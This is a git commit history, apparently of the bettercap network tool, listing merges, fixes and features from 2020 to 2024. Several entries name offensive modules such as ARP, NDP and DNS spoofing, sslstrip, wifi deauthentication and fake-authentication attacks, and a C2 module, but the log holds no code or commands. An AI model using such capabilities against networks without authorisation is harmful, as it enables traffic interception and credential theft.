Simone Margaritelli
2499d5147f fix: every wifi frame injection operation on macOS will print an error (ref #448) 2024-08-08 12:59:21 +02:00
Simone Margaritelli
5858743b6e new: updated mac vendor lookup with IEEE datasets 2024-08-08 12:47:59 +02:00
Simone Margaritelli
0dc5f66e27 fix: fixed wifi support on macOS (fixes pr #1100, fixes #1090, fixes #1076) 2024-08-08 12:10:28 +02:00
Simone Margaritelli
02fa241d06 misc: small fix or general refactoring i did not bother commenting 2024-08-07 22:08:50 +02:00
Simone Margaritelli
c2ab5f4756 reverted pr #1100 due to instability 2024-08-07 22:03:11 +02:00
Simone Margaritelli
7371a85828
Merge pull request #1107 from stefanb/go1.23-support
Bump golang.org/x/net for Go 1.23 compatibility
2024-08-07 21:51:28 +02:00
Simone Margaritelli
9b6694f565 mereg 2024-08-07 18:00:39 +02:00
Simone Margaritelli
6951fbb8dd fix: fixes cgo newline 2024-08-07 17:59:58 +02:00
Simone Margaritelli
9bf1474615
Merge pull request #1074 from konradh/ndp-spoof-unset-neighbour
Fix: Allow clearing ndp.spoof.neighbour to disable neighbor advertisements
2024-08-07 16:35:22 +02:00
Simone Margaritelli
9cd1609306
Merge pull request #1073 from konradh/ndp-spoof-router-lifetime
Add ndp.spoof.router_lifetime option
2024-08-07 16:31:29 +02:00
Simone Margaritelli
3df89fb7e5
Merge pull request #1100 from loks0n/fix-macos
fix: macos
2024-07-24 13:46:45 +02:00
Simone Margaritelli
74647db825
Update README.md 2024-07-13 16:42:20 +02:00
Štefan Baebler
474215ebd9
Bump golang.org/x/net for Go 1.23 compatibility
Fixes https://github.com/bettercap/bettercap/issues/1106
2024-06-30 14:40:03 +02:00
Simone Margaritelli
826f13e47a new: pushed new graph experimental module 2024-05-31 14:07:19 +02:00
Simone Margaritelli
ca2e257fbb
Merge pull request #1087 from testwill/file_close
fix: close cpu profile
2024-05-31 13:55:49 +02:00
Luke B. Silver
71822229a0 fix: macos 2024-05-24 22:04:46 +00:00
guoguangwu
043bd4593b fix: close cpu profile
Signed-off-by: guoguangwu <guoguangwug@gmail.com>
2024-04-03 13:51:10 +08:00
Root THC
a950d3b767 sslstrip fix 2024-03-29 17:40:16 +01:00
konradh
5af1be3356 fix: allow clearing ndp.spoof.neighbour to disable neighbor advertisements 2024-01-24 20:33:54 +01:00
konradh
4dc7bae48c new: new ndp.spoof.router_lifetime option 2024-01-24 20:26:43 +01:00
Simone Margaritelli
924ff5753d
Merge pull request #1005 from elleuc4/route_headings_fix
Skip line processing if routing headings weren't found yet.
2024-01-07 12:47:06 +01:00
Simone Margaritelli
ee35550f70
Merge pull request #1008 from jansramek/master
Fix getting of possible channels (darwin) #998
2023-07-25 14:35:25 +02:00
Simone Margaritelli
76a7820da5
Merge pull request #1024 from half-duplex/ndp-ban
ndp.spoof: add ndp.ban
2023-07-25 14:34:47 +02:00
Simone Margaritelli
bdc389eaee
Merge pull request #1023 from half-duplex/ndp-spoof-ip-fmt
ndp.spoof: fix "couldn't get MAC" format string
2023-07-25 14:34:17 +02:00
Simone Margaritelli
32d997ea5a
Merge pull request #1036 from ttdennis/master
Fix BLE name assignment
2023-07-25 14:33:56 +02:00
Dennis Heinze
786dacf8ca
Fix BLE name assignment 2023-06-07 12:06:13 +02:00
Trevor Bergeron
cdd483e698
ndp.spoof: add ndp.ban 2023-03-15 10:14:04 -04:00
Trevor Bergeron
27bae1cd3b
ndp.spoof: fix format string 2023-03-15 10:04:05 -04:00
Simone Margaritelli
e5f8c168c3 fix: enable both ipv4 and ipv6 forwarding 2023-02-01 18:32:31 +01:00
Simone Margaritelli
58ca59bc6f new: switching to github.com/stratoberry/go-gpsd (closes #938) 2023-01-16 13:37:35 +01:00
Jan Šrámek
8e4a00091e Update getting of possible channels (darwin)
- added regex to be able to parse system_profiler format of MacOS 13+
2022-12-29 19:43:54 +01:00
Luca
44e24204e5 Skip line if no route headings found yet 2022-12-26 01:31:56 +01:00
Simone Margaritelli
24a5dfe48f
Merge pull request #988 from tranzmatt/master
Fix go/alpine Docker version to correct build breakage
2022-11-17 13:07:05 +01:00
Matthew Clark
3f154cccd9 Fix go/alpine Docker version to correct build breakage 2022-10-11 11:50:06 -04:00
Simone Margaritelli
e224eea8c6 fix: give priority to iwlist as iw gives unsupported frequencies (fixes #881) 2022-06-13 17:08:26 +02:00
Simone Margaritelli
4f3f55f648 fix: fs related scripting functions will now resolve paths containing special characters 2022-06-13 16:55:41 +02:00
Simone Margaritelli
a4fb94ce68 Merge branch 'master' of github.com:bettercap/bettercap 2022-06-10 23:39:05 +02:00
Simone Margaritelli
11d96069ae new: added fileExists function to the session scripting runtime 2022-06-10 23:38:48 +02:00
Simone Margaritelli
c81db63a10
Merge pull request #956 from BenGardiner/ipv6_anyproxy_fixes
Ipv6 any.proxy fixes
2022-06-10 23:00:28 +02:00
Ben Gardiner
eaf2b96407
revert removal of default any.proxy.dst_address ipv4 address 2022-06-10 16:59:11 -04:00
Simone Margaritelli
28371084d3 new: added saveJSON function to the session scripting runtime 2022-06-10 22:39:29 +02:00
Simone Margaritelli
eff8135d99 new: added loadJSON function to the session scripting runtime 2022-06-10 22:27:13 +02:00
Simone Margaritelli
22de9d3d4f new: added session.stopped event (and fixed session.started event propagation) 2022-06-10 22:12:45 +02:00
Simone Margaritelli
fd160bf7ca
Merge pull request #953 from firefart/err
do not swallow err on settxpower
2022-06-10 20:55:17 +02:00
Ben Gardiner
628c0b79fb ndp.spoof: use validator for neighbour parameter, print targets on start, complain when a MAC can't be found (UDP thing doesn't always work) 2022-04-25 21:38:23 +00:00
Ben Gardiner
2bc3d871ef use ip6tables for any_proxy to ipv6 addresses 2022-04-25 21:36:03 +00:00
firefart
68924c34c4 do not swallow err on settxpower 2022-04-23 22:43:27 +02:00
Simone Margaritelli
ed4239fad5
Merge pull request #913 from PeterDaveHello/ImproveDockerfile
Remove `--update` and replace with `--no-cache` for `apk` in Dockerfile
2021-11-29 10:43:05 +01:00
Simone Margaritelli
b9a546ec9d
Merge pull request #923 from xrayid/master
fix: exclude disabled channels
2021-11-29 10:42:45 +01:00
Mikhail Markov
0193d13ca0
fix: exclude disabled channels 2021-10-28 01:06:03 +03:00
☸️
a20fb139f5
parse every IPv4 and IPv6 route 2021-09-21 05:38:37 +10:00
☸️
3bd813f545
fix: parse interface names in IPv6 routing tables 2021-09-21 05:08:01 +10:00
☸️
ac96bc8d2f
fix IPv6 routing table parsing 2021-09-21 00:40:55 +10:00
☸️
5389228034
also support 'Netif' reference in certain netstat builds 2021-09-20 20:03:46 +10:00
☸️
c6740a5750
fix automatic gateway detection for Linux 2021-09-20 19:18:43 +10:00
☸️
aba29e03f6
fix: revert back to parsing IPv4 address blocks in net.FindInterface 2021-09-20 17:12:12 +10:00
☸️
e255eba69f
simplify interface IPv4 address parsing 2021-09-20 16:52:53 +10:00
☸️
44a17602ed
fix: adopt new IPv4 parsing logic 2021-09-20 15:42:07 +10:00
☸️
eee94e993c
simplify IPv4 validators 2021-09-20 14:20:44 +10:00
☸️
7fd9d18625
fix macParser, MACValidator and IPv4Validator regexp selectors + add IPv4BlockValidator
This commit fixes the `network.macParser` and `network.MACValidator` regexp selectors which could validate invalid MAC addresses (e.g. `a🅱️c:d:e:f`).

It also introduces a new `IPv4BlockValidator` regexp selector which allows us to distinguish IPv4 address blocks from single IPv4 addresses, as the previous implementation of `IPv4Validator` would also validate IPv4 address blocks (e.g. `10.0.0.0/8`) whilst only being used to validate single IPv4 addresses.

Both IPv4RangeValidator and IPv4Validator were optimized to only match the IPv4 format.

### Validation examples

- `IPv4BlockValidator` validates `10.0.0.0/8`
- `IPv4RangeValidator` validates `10.0-255.0-255.0-255`
- `IPv4Validator` validates `10.0.0.0`
2021-09-20 14:04:21 +10:00
Peter Dave Hello
e81f36c582 Remove --update and replace with --no-cache for apk in Dockerfile
There is no need to use `--update` with `--no-cache`, only `--no-cache`
should be used when building a Docker image, as using `--no-cache` will
fetch the index every time and leave no local cache, so the index will
always be the latest and without temporary files remains in the image.
2021-09-12 18:26:59 +08:00
Simone Margaritelli
74e3303963 Merge branch 'master' of github.com:bettercap/bettercap 2021-08-21 14:59:51 +02:00
Simone Margaritelli
f10ccfb4c6 releasing v2.32.0 2021-08-21 14:59:44 +02:00
Simone Margaritelli
8b867c29ed
Merge pull request #905 from TheRealKeto/makefile/various-changes
Various changes and fixes
2021-08-21 14:49:45 +02:00
Simone Margaritelli
81ae731b9f new: new -pcap-buf-size option to set a custom pcap buffer size (closes #896) 2021-08-21 14:44:36 +02:00
Simone Margaritelli
59dce4ced6 new: centralized pcap capture configuration management 2021-08-21 14:21:36 +02:00
Simone Margaritelli
d0ecfd499f new: updated to go 1.16 2021-08-21 13:50:56 +02:00
Simone Margaritelli
0598272384
Merge pull request #901 from qq906907952/master
add two 802.11 attack
2021-08-21 12:43:22 +02:00
TheRealKeto
c78a67d439
Add DESTDIR variable
Signed-off-by: TheRealKeto <therealketo@gmail.com>
2021-08-08 00:19:47 -04:00
TheRealKeto
d7f95dc97d
Various changes and fixes
- Remove GOFLAGS variable; it's not needed
- Make GOFLAGS variable first on all Go related functions

Signed-off-by: TheRealKeto <therealketo@gmail.com>
2021-08-08 00:18:56 -04:00
Simone Margaritelli
754b6b3841
Merge pull request #895 from cmingxu/master
make import statement clean
2021-08-07 16:41:12 +02:00
Simone Margaritelli
cb8a87460b
Merge pull request #894 from Azrotronik/arp_spoof-patch
Fix arp.spoof not sending replies and hanging
2021-08-07 16:40:57 +02:00
ydx
ef2cd0063d add wifi fake authentication attack 2021-07-23 14:51:37 +08:00
ydx
c8ecaf99e0 add channel hopping attack 2021-07-23 14:49:29 +08:00
xuchunming1
e9dad78ec2 nothing but import format change
Signed-off-by: xuchunming1 <xuchunming@jd.com>
2021-07-01 15:37:33 +08:00
xuchunming1
9020c53820 make import statement clean
Signed-off-by: xuchunming1 <xuchunming@jd.com>
2021-07-01 15:18:12 +08:00
Azrotronik
0637451390
Fix arp.spoof not sending replies
Fixed arp.spoof not sending replies and timing out when asked to shut down.
2021-06-27 00:17:42 +00:00
Simone Margaritelli
c1770b3aa6
Merge pull request #892 from antipopp/master
UI hardcoded setup path changed to handle Windows installation
2021-06-22 09:29:58 +02:00
Francesco Cartier
f10159ec19 added Windows basepath to UI setup 2021-06-21 18:08:54 +02:00
Francesco Cartier
58f4214756 added Windows basepath to UI setup 2021-06-21 18:01:32 +02:00
Simone Margaritelli
118a348e3e
Merge pull request #882 from syylari/ch177-fix
WiFi frequency and channel mapping enchancements
2021-06-03 17:46:37 +02:00
Simone Margaritelli
6c2c0da22c fix: checking boundaries when parsing WPS vendor extensions (fixes #885) 2021-05-28 16:41:34 +02:00
Simone Margaritelli
4690a23ace releasing v2.31.1 2021-05-22 15:43:51 +02:00
Simone Margaritelli
0e2fd008e4 fix: fixed a bug in arp.spoof that caused targets not to be spoofed if not previously known to the attacker computer in terms of Mac address 2021-05-22 15:39:41 +02:00
syylari
9404620468 Support for ch177 2021-05-20 21:57:10 +03:00
syylari
daf2f943e2 Further tests for mapping dot11 frequencies to channels as ch177 was not discovered correctly based on freq 2021-05-20 21:55:35 +03:00
Simone Margaritelli
badd13181d fix: removed broken test 2021-05-14 16:16:58 +02:00
Simone Margaritelli
b9cc36b6b6 fix: fixed core test 2021-05-14 15:54:31 +02:00
Simone Margaritelli
dd71ccf416 fix: updated gatt library (fixes #861) 2021-05-14 15:44:12 +02:00
Simone Margaritelli
dfe64ee4db fix: showing the entire error message when a command fails 2021-05-14 15:26:50 +02:00
Simone Margaritelli
82dd30c777 fix: less verbose logging 2021-05-14 15:21:47 +02:00
Simone Margaritelli
f42dcb72d5 fix: using newer macOS image on travis to avoid timeouts due to homebrew compilation forced by EOL OS (fixes #865) 2021-05-14 14:51:42 +02:00
Simone Margaritelli
4fc84f2907 new: new arp.spoof.skip_restore option (fixes #874) 2021-05-11 12:20:10 +02:00
Simone Margaritelli
8c00207e7e new: gps.new event now reports GPS data changes as they occur (fixes #878) 2021-05-11 12:02:26 +02:00
☸️
831020983c
Merge pull request #873 from buffermet/master
revert changes from #723 that prevented HTTP response header spoofing
2021-05-02 01:00:41 +10:00
☸️
821ce9aea2
revert changes from #723 2021-05-02 00:56:38 +10:00
Simone Margaritelli
c38de3a511 fix: support for negative numbers for decimal parameters (closes #866) 2021-04-21 14:02:36 +02:00
Simone Margaritelli
568c166fe1 releasing v2.31.0 2021-04-17 17:31:15 +02:00
Simone Margaritelli
ee14e96963 misc: small fix or general refactoring i did not bother commenting 2021-04-17 17:04:53 +02:00
Simone Margaritelli
05a185434b misc: small fix or general refactoring i did not bother commenting 2021-04-17 16:54:26 +02:00
Simone Margaritelli
e3078c7136 misc: small fix or general refactoring i did not bother commenting 2021-04-17 16:53:14 +02:00
Simone Margaritelli
131aa846b6 misc: added osx tests for tagless travis builds 2021-04-17 16:32:48 +02:00
Simone Margaritelli
22c95c0c4d misc: small fix or general refactoring i did not bother commenting 2021-04-17 00:19:05 +02:00
Simone Margaritelli
6206fc1b61
Delete codeql-analysis.yml 2021-04-12 20:10:03 +02:00
Simone Margaritelli
af85f9292a
Merge pull request #863 from jfcg/master
Create codeql-analysis.yml
2021-04-12 17:07:31 +02:00
Simone Margaritelli
80f7428afe fix: fixed a 'ble.recon off' panic on linux 2021-04-12 16:39:05 +02:00
Simone Margaritelli
eb384d67c1 misc: moved example script in dedicated repo 2021-04-12 14:36:27 +02:00
Simone Margaritelli
421df5035f misc: small fix or general refactoring i did not bother commenting 2021-04-12 14:25:37 +02:00
Serhat Şevki Dinçer
fee99c4116
Create codeql-analysis.yml 2021-04-12 15:24:12 +03:00
Simone Margaritelli
f2b6d9b708 misc: moved graph module to experimental branch for now 2021-04-12 14:09:03 +02:00
Simone Margaritelli
4dac3b9373 fix: handle disconnection (nil gateway) in routes monitor 2021-04-12 12:39:19 +02:00
Simone Margaritelli
c9ae0f360e misc: small fix or general refactoring i did not bother commenting 2021-04-11 01:26:29 +02:00
Simone Margaritelli
c47e3f6195 new: gateway.change event for MITM monitoring 2021-04-10 22:59:03 +02:00
Simone Margaritelli
43a93fd866 fix: refactored routing logic (fixes #701) 2021-04-10 21:55:00 +02:00
Simone Margaritelli
88a83192ef fix: do not trigger deauth events for frames sent by client stations or unknown access points 2021-04-10 14:48:30 +02:00
Simone Margaritelli
bc7d1d9663 misc: small fix or general refactoring i did not bother commenting 2021-04-09 16:31:13 +02:00
Simone Margaritelli
71ac5bb264 new: node context shows on click on the graphpage 2021-04-09 16:17:26 +02:00
Simone Margaritelli
93b7e7f2ed new: exposing the graph object to js 2021-04-09 13:46:33 +02:00
Simone Margaritelli
0042b77c36 fix: do not emit graph if empty 2021-04-09 12:45:06 +02:00
Simone Margaritelli
1d306e6cd2 fix: do not override req.Hostname in http proxy module script (fixes #678) 2021-04-09 12:42:24 +02:00
Simone Margaritelli
2b4188bb52 misc: small fix or general refactoring i did not bother commenting 2021-04-09 02:20:19 +02:00
Simone Margaritelli
3c506b7809 misc: small fix or general refactoring i did not bother commenting 2021-04-09 00:14:52 +02:00
Simone Margaritelli
d5fb7b6754 misc: small fix or general refactoring i did not bother commenting 2021-04-08 22:38:28 +02:00
Simone Margaritelli
6393dc1ea5 new: bot sending graphs 2021-04-08 22:13:57 +02:00
Simone Margaritelli
1be487843b new: graph.to_json 2021-04-08 20:54:55 +02:00
Simone Margaritelli
e465f9b145 misc: small fix or general refactoring i did not bother commenting 2021-04-08 19:06:10 +02:00
Simone Margaritelli
71634058a7 misc: several improvements to the graph module 2021-04-08 18:41:30 +02:00
Simone Margaritelli
5b8cb9a82c fix: check ssid probes for non printable characters 2021-04-07 17:58:18 +02:00
Simone Margaritelli
db275429c2 new: graph module 2021-04-07 17:04:42 +02:00
Simone Margaritelli
6aa8f45d20 misc: using script to detect karma attacks 2021-04-07 17:04:28 +02:00
Simone Margaritelli
bfe307ffe6 new: ticker now broadcasts a tick event 2021-04-07 17:03:47 +02:00
Simone Margaritelli
31b06638d8 fix: fixed a panic in net.show.meta when rendeing open ports 2021-04-07 13:16:20 +02:00
Simone Margaritelli
2dcfea02ce misc 2021-04-07 00:53:23 +02:00
Simone Margaritelli
662f5fb973 fix: don't print wifi.client.probe we generate 2021-04-07 00:52:57 +02:00
Simone Margaritelli
906969f1b3 new: wifi.probe to send fake client probe requests 2021-04-07 00:36:38 +02:00
Simone Margaritelli
8827a2af84 new: session scripts can now include other scripts via require('file') 2021-04-04 17:17:37 +02:00
Simone Margaritelli
2b1ff7d59f fix: fixed vm locking 2021-04-04 15:58:48 +02:00
Simone Margaritelli
3c20f2c9aa
misc: small fix or general refactoring i did not bother commenting 2021-04-04 15:32:15 +02:00
Simone Margaritelli
fb7bed9b6b
misc: small fix or general refactoring i did not bother commenting 2021-04-04 15:29:49 +02:00
Simone Margaritelli
40727063ec new: new -script allows to run JS code to instrument session 2021-04-04 15:15:32 +02:00
Simone Margaritelli
d5e5abcb9b fix: using static url for qemu 2021-04-04 01:28:15 +02:00
Simone Margaritelli
c2be8a440b fix: fixed net.probe mdns parsing from ipv6 2021-04-04 00:47:54 +02:00
Simone Margaritelli
fad6172b40
misc: small fix or general refactoring i did not bother commenting 2021-04-04 00:31:18 +02:00
Simone Margaritelli
b0f7e764dc fix: keep track of ipv6 packets 2021-04-04 00:30:09 +02:00
Simone Margaritelli
4d5e930e6c
misc: small fix or general refactoring i did not bother commenting 2021-04-04 00:06:34 +02:00
Simone Margaritelli
a6d5d5d048 new: implemented icmpv6 rogue router advertisement 2021-04-04 00:03:11 +02:00
Simone Margaritelli
c1520206a5
misc: small fix or general refactoring i did not bother commenting 2021-04-03 23:08:00 +02:00
Simone Margaritelli
57436a811c new: experimental ipv6 ndp spoofer (closes #851) 2021-04-03 22:55:03 +02:00
Simone Margaritelli
cbc1432358 new: net.sniff now supports ipv6 2021-04-03 19:20:12 +02:00
Simone Margaritelli
bef4c6abaa new: basic ipv6 support 2021-04-03 18:42:14 +02:00
Simone Margaritelli
d0b5c34763 new: module parameters now accept <iface-name> that will be resolved to the interface IP address 2021-04-03 16:41:55 +02:00
Simone Margaritelli
16891c4048
misc: small fix or general refactoring i did not bother commenting 2021-04-01 22:13:17 +02:00
Simone Margaritelli
6b821d2577
misc: small fix or general refactoring i did not bother commenting 2021-04-01 22:12:41 +02:00
Simone Margaritelli
240c4c3219 new: detection and parsing of deauthentication frames as wifi.deauthentication events 2021-03-31 00:47:56 +02:00
Simone Margaritelli
cea53b969e fix: collect additional frames for stations with key material (ref #810) 2021-03-30 23:19:06 +02:00
Simone Margaritelli
c68c88030d
misc: small fix or general refactoring i did not bother commenting 2021-03-30 11:59:13 +02:00
Simone Margaritelli
0d17ba3573
misc: small fix or general refactoring i did not bother commenting 2021-03-30 11:56:41 +02:00
Simone Margaritelli
6dd86c44fa fix: using iw if available to get supported wifi frequencies (fixes #743) 2021-03-29 17:55:33 +02:00
Simone Margaritelli
c4bbc129b6 fix: returning error when neither iw or iwconfig are found 2021-03-29 17:25:15 +02:00
Simone Margaritelli
67a0063ee4 fix: updated gatt library which fixes some linux issues 2021-03-23 19:29:36 +01:00
Simone Margaritelli
4f5f89b6e1 fix: do not add unhandled dns types to dns spoofing packets (closes #843) 2021-03-23 19:22:05 +01:00
Simone Margaritelli
d63122bab3 new: new -caplets-path argument to specify an alternative caplets base path (closes #850) 2021-03-23 19:05:58 +01:00
Simone Margaritelli
161124a3f4 releasing v2.30.2 2021-03-14 21:47:35 +01:00
Simone Margaritelli
b64dffb53f fix: fixed compilation issue on windows 2021-03-14 21:47:22 +01:00
Simone Margaritelli
3e12bb0290 releasing v2.30.1 2021-03-14 21:36:48 +01:00
Simone Margaritelli
1fea9f02fb
Merge pull request #848 from caquino/caquino/travis-fix
Travis and builds fixes and updates
2021-03-14 21:33:58 +01:00
Cassiano Aquino
9a10f0bf2a
change qemu url
update raspbian and golang

upgrade go from 1.15 to 1.16

upgrade libusb and npcap

add debug to npcap install

try nmap instead

change to nmap

remove deprecated sudo

move from npcap to winpcap
2021-03-14 20:25:47 +00:00
Simone Margaritelli
6392e21c40 misc: added git:changelog to release script 2021-03-14 16:07:50 +01:00
Simone Margaritelli
b3da4e30f7 fix: updated OUI list (closes #833) 2021-03-14 16:06:16 +01:00
Simone Margaritelli
ff91392866 new: any.proxy.src_port now supports multiple ports and port ranges (closes #845) 2021-03-14 16:03:09 +01:00
Simone Margaritelli
21aa14fd2f
misc: small fix or general refactoring i did not bother commenting 2021-03-14 15:42:09 +01:00
Simone Margaritelli
80a3e71193 docs: filled SECURITY.md 2021-03-14 15:41:15 +01:00
Simone Margaritelli
7c4da8a550
Merge pull request #829 from anonymous0011/patch-1
Create SECURITY.md
2021-03-14 15:38:18 +01:00
Simone Margaritelli
30f2fb0df1
Merge pull request #844 from drautb/rpi-dev
Enable packet proxy on ARM architectures
2021-03-14 15:35:54 +01:00
Simone Margaritelli
c1b93b8238 releasing v2.30 2021-03-12 15:02:07 +01:00
Simone Margaritelli
bd016d9388 new: replaced changelog and release scripts with stork script 2021-03-12 15:01:47 +01:00
Ben Draut
e0ff16f9f1 Enable packet proxy on ARM architectures
I couldn't find any explanation as to why the packet proxy isn't
enabled on ARM targets.

I've been successfully building/using it on a Raspberry Pi for the
last couple weeks. Is there a reason it shouldn't be enabled?

(The diff makes it look complicated, but I just copied
`packet_proxy_linux_amd64.go` to `packet_proxy_linux.go` and
then deleted `packet_proxy_linux_amd64.go`.)
2021-03-10 18:29:36 -07:00
Simone Margaritelli
08ae5e0920
Merge pull request #841 from drautb/master
Add start/stop callbacks to packet proxy
2021-03-10 17:58:00 +01:00
Ben Draut
32eee7d94b Fix bug in target parsing
When a MAC address with uppercase letters was provided, parsing would
return an error because the parsing logic would only attempt to remove
normalized versions (all lowercase) from the target list. This would
leave the address with uppercase letters in the target list, which it
would then try to interpet as an Alias. This fixes the bug by using
the original address form when removing it from the target list.
2021-03-09 20:30:48 -07:00
Ben Draut
ce5c5eb592 Add start/stop callbacks to packet proxy
This adds support for two additional functions in go plugins in the
`packet_proxy` module:

* `func OnStart() int`
* `func OnStop()`

These will be called when the packet proxy module is turned on and
off, respectively.
2021-03-05 13:07:21 -07:00
Simone Margaritelli
17799c0357 fix: updated readline, using syscall package instead of constants (fixes #776) 2021-02-28 16:18:32 +01:00
Simone Margaritelli
50c1505fd7
Merge pull request #830 from HarshCasper/master
Potential Code-Refactor and Bug Fixes
2021-02-20 10:34:07 +01:00
Harsh Mishra
e01cbfbe2e
Delete .deepsource.toml 2021-02-20 15:02:44 +05:30
Harsh Bardhan Mishra
df806e60da
Merge pull request #2 from HarshCasper/deepsource-fix-a44a7647
Remove unnecessary comparison with bool
2021-02-01 14:30:12 +05:30
deepsource-autofix[bot]
6591de4b63
Remove unnecessary comparison with bool 2021-02-01 08:57:11 +00:00
Harsh Bardhan Mishra
91386cc725
Merge pull request #1 from HarshCasper/deepsource-fix-dd2afe80
Remove unnecessary guard around `delete`
2021-02-01 14:18:51 +05:30
deepsource-autofix[bot]
a26b3f366b
Remove unnecessary guard around delete 2021-02-01 08:47:34 +00:00
DeepSource Bot
c0e9f8cbdd Add .deepsource.toml 2021-02-01 08:44:39 +00:00
anonymous0011
e4414b7a45
Create SECURITY.md 2021-02-01 01:49:01 +01:00
Simone Margaritelli
3ac520c744 fix: better phrasing (tnx @nieldk) 2021-01-27 17:11:15 +01:00
Simone Margaritelli
ac9c8d3865 fix: added sasl authentication support for the c2 module 2021-01-27 11:12:50 +01:00
Simone Margaritelli
583a54c194 new: new c2 module, first draft 2021-01-27 00:17:25 +01:00
Simone Margaritelli
35dbb8a368 Releasing v2.29 2021-01-20 11:41:33 +01:00
Simone Margaritelli
fef32192be
Merge pull request #812 from bonedaddy/master
Fix Issue 811
2021-01-15 17:56:07 +01:00
bonedaddy
07f7483ba3
network: remove mutex lock that breaks webui and api 2021-01-12 20:58:30 -08:00
Simone Margaritelli
3cfbcd900d misc: added openwrt makefile by DeathCamel58 for reference 2021-01-09 00:19:41 +01:00
Simone Margaritelli
cf7d06b30d misc: updated the version of go used to compile releases 2021-01-09 00:13:48 +01:00
Simone Margaritelli
2610d4b1e4 fix: do not close serial port if nil (fixes #805) 2021-01-08 23:45:08 +01:00
Simone Margaritelli
ffe20c5357
Merge pull request #801 from bonedaddy/lock-copy
Fix Lock Copy Warnings / Go Vet General Fixes
2021-01-06 10:54:09 +01:00
Simone Margaritelli
e6ecd6504f
Merge pull request #799 from bonedaddy/wifi#lock-optimize
WiFi Network Locking Optimizations
2021-01-06 10:51:36 +01:00
bonedaddy
05b8e3065e
go vet fixes 2020-12-24 17:31:40 -08:00
bonedaddy
10817d574c
wifi.go: dont claim read lock until it is needed 2020-12-23 13:22:48 -08:00
bonedaddy
08cad808ef
fix slice memory allocation optimization 2020-12-22 17:29:21 -08:00
bonedaddy
ac4b1f6e9e
network: optimize wifi locking and include memory allocation optimization 2020-12-22 17:10:33 -08:00
☸️
8acf81f61d
Merge pull request #781 from buffermet/master
Remove proxy-side TLD spoofing.
2020-10-15 01:06:52 +10:00
buffermet
3a2db2918a Remove proxy-side TLD spoofing. 2020-10-15 00:49:42 +10:00
☸️
69715137da
Merge pull request #778 from buffermet/master
Fix Content-Type parsing, improve HTTP header parsing.
2020-10-13 16:57:45 +10:00
buffermet
0a0cefc5d8 Fix content type parsing error, improve regexp search performance, strip header names and values. 2020-10-04 16:35:28 +10:00
buffermet
dd08976e8b Update HTTP header regexp selector. 2020-10-03 02:00:41 +10:00
Simone Margaritelli
6bf46c7ff6 misc: removed useless badges from the README 2020-09-25 16:52:36 +02:00
Simone Margaritelli
6f9f1954cb new: gps module can use both serial and gpsd (based on pr #680 from @fheylis) 2020-09-25 16:46:45 +02:00
Simone Margaritelli
a02f355926 misc: updated dependencies 2020-09-25 16:10:26 +02:00
Simone Margaritelli
6dba5d2bb9
Merge pull request #759 from dafyk/patch-1
Set Content-Type for PAC and WPAD file
2020-09-25 15:49:37 +02:00
Da-FyK
d3a46a6332
Set Content-Type for PAC and WPAD file
For Proxy Auto-Configuration (PAC) or Web Proxy Auto-Discovery (WPAD) to work correctly HTTP server needs to send "application/x-ns-proxy-autoconfig" Content-Type header. I've hardoced "proxy.pac" and "wpad.dat" because i am not golang coder and i dont know how to make it configurable. I hope somebody finds this usefull too and can make better PR.
2020-07-25 02:44:43 +02:00
Simone Margaritelli
e795caa334 Releasing v2.28 2020-07-03 14:30:03 +02:00
Simone Margaritelli
e3846cf416
Merge pull request #703 from FrankSpierings/skipacquired
Prevent deauth/assoc for AP's that have already been captured
2020-07-03 14:26:17 +02:00
Simone Margaritelli
b1381568d0
Merge pull request #752 from denandz/master
Make domain matches in the dns.spoof module case insensitive
2020-07-03 14:25:03 +02:00
Simone Margaritelli
b53b5b08d6
Merge pull request #723 from Petitoto/sslstrip
Fix sslstrip & some related issues in http(s).proxy and dns.spoof
2020-07-03 14:23:52 +02:00
DoI
ef27a79ec3 Make domain matches in the dns.spoof module case insensitive 2020-07-02 19:33:47 +12:00
Simone Margaritelli
6725a2aa53
Merge pull request #726 from guanicoe/patch-1
Update mysql_server.go
2020-05-15 15:13:11 +02:00
Petitoto
62e253ee8b Fix conflict with last commit 2020-05-12 16:42:33 +01:00
Petitoto
090ba11e5a Add merged pull requests 2020-05-12 16:38:13 +01:00
guanicoe
6fabe025a3
Update mysql_server.go
typo
2020-05-04 10:58:19 +00:00
Simone Margaritelli
1957d34ca2
Merge pull request #720 from alrs/ip-equal
modules/arp_spoof: use net.IP to compare addresses
2020-05-04 12:57:32 +02:00
Simone Margaritelli
9aab1295ca
Merge pull request #722 from stef03/https-proxy-client-ip
Fix problem with the client ip in https.proxy
2020-05-04 12:57:01 +02:00
Petitoto
40c7203d1f Fix sslstrip & some related issues in http(s).proxy and dns.spoof 2020-04-20 13:35:32 +01:00
stefan_hofbauer
a01e058d82 Fix problem with the client ip in https.proxy as described in https://github.com/bettercap/caplets/issues/45 2020-04-19 15:50:45 +02:00
Lars Lehtonen
bc05ed56fc
modules/arp_spoof: use net.IP to compare addresses 2020-04-14 09:22:58 -07:00
Simone Margaritelli
318029c022 Releasing v2.27.1 2020-04-13 17:35:11 +02:00
Simone Margaritelli
e00ba3268c
Merge pull request #715 from dadav/fix/websocket-ping
Increase timeout when ping is sent
2020-04-09 17:15:58 +02:00
dadav
24a1e34237 otherwise a read timeout will occasionally occure 2020-04-08 21:32:23 +02:00
Simone Margaritelli
f4abf62f76 misc: infosec is a circus, most of them are clowns 2020-04-08 10:58:46 +02:00
Simone Margaritelli
f5fb86da48 Merge branch 'master' of github.com:bettercap/bettercap 2020-04-08 10:50:22 +02:00
Simone Margaritelli
81b1cae131 Releasing v2.27 2020-04-08 10:49:46 +02:00
Simone Margaritelli
877600fec1
Merge pull request #705 from buffermet/master
add dns.spoof.ttl env variable
2020-04-08 10:47:26 +02:00
Simone Margaritelli
1cf74121a3
Merge pull request #706 from boolooper/master
Improve code and fix race conditions
2020-04-08 10:46:55 +02:00
Simone Margaritelli
61d9316cad fix: logging error when read from websocket fails 2020-04-08 10:36:04 +02:00
Simone Margaritelli
a39a0018eb
Merge pull request #709 from skooch/skooch-txpower-fix
Fix iw txpower syntax
2020-03-28 17:40:35 +01:00
skooch
3612e767d7
Update iw txpower syntax to only use int
This is probably due to a bug in iw, we do this because if we include "mBm", the strtol() that iw does has a check on endptr that returns 2, even if the txpower is valid.
2020-03-20 16:07:43 +11:00
skooch
140f33109f
Fix iw txpower syntax
The syntax used to set the txpower is incorrect and misses the keyword "fixed", this results in wireless adapter drivers that only support iw failing to initialize within bettercap.
This bug was introduced in commit bettercap/bettercap@2f3390cf36 which was a fix for issue bettercap/bettercap#657 due to maybe the code not being tested extensively.
